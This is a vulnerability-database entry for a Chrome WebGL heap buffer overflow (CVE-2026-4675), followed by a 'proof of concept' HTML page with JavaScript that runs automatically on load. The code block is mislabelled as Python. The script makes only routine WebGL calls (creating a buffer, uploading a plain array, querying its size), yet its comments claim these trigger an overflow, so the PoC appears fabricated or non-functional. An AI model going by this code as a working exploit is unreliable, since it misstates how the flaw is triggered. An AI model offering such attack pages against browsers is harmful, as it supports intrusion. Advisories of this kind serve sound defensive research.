Heap buffer overflow in WebGL in Google Chrome prior to 146.0.7680.165 allowed a remote attacker to perform an out of bounds memory read via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 146.0.7680.165
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-4675: WebGL Heap Buffer Overflow
Description: Triggers an out-of-bounds read in WebGL buffer handling.
Usage: Open in a vulnerable version of Chrome (< 146.0.7680.165)
-->
<html>
<body>
<script type="text/javascript">
function trigger_exploit() {
var canvas = document.createElement('canvas');
var gl = canvas.getContext('webgl');
if (!gl) {
console.log('WebGL not supported');
return;
}
// Create a buffer to manipulate memory
var buffer = gl.createBuffer();
gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
// Malicious data size designed to trigger the OOB read
// Note: Specific size depends on the heap grooming
var data = new Float32Array(0x20000);
try {
// Attempting to write data that causes the overflow
gl.bufferData(gl.ARRAY_BUFFER, data, gl.DYNAMIC_DRAW);
// Accessing the buffer to trigger the read
gl.getBufferParameter(gl.ARRAY_BUFFER, gl.BUFFER_SIZE);
console.log('Exploit triggered. If browser crashes or behaves unexpectedly, vulnerability may be present.');
} catch (e) {
console.log('Error: ' + e.message);
}
}
// Execute automatically
trigger_exploit();
</script>
</body>
</html>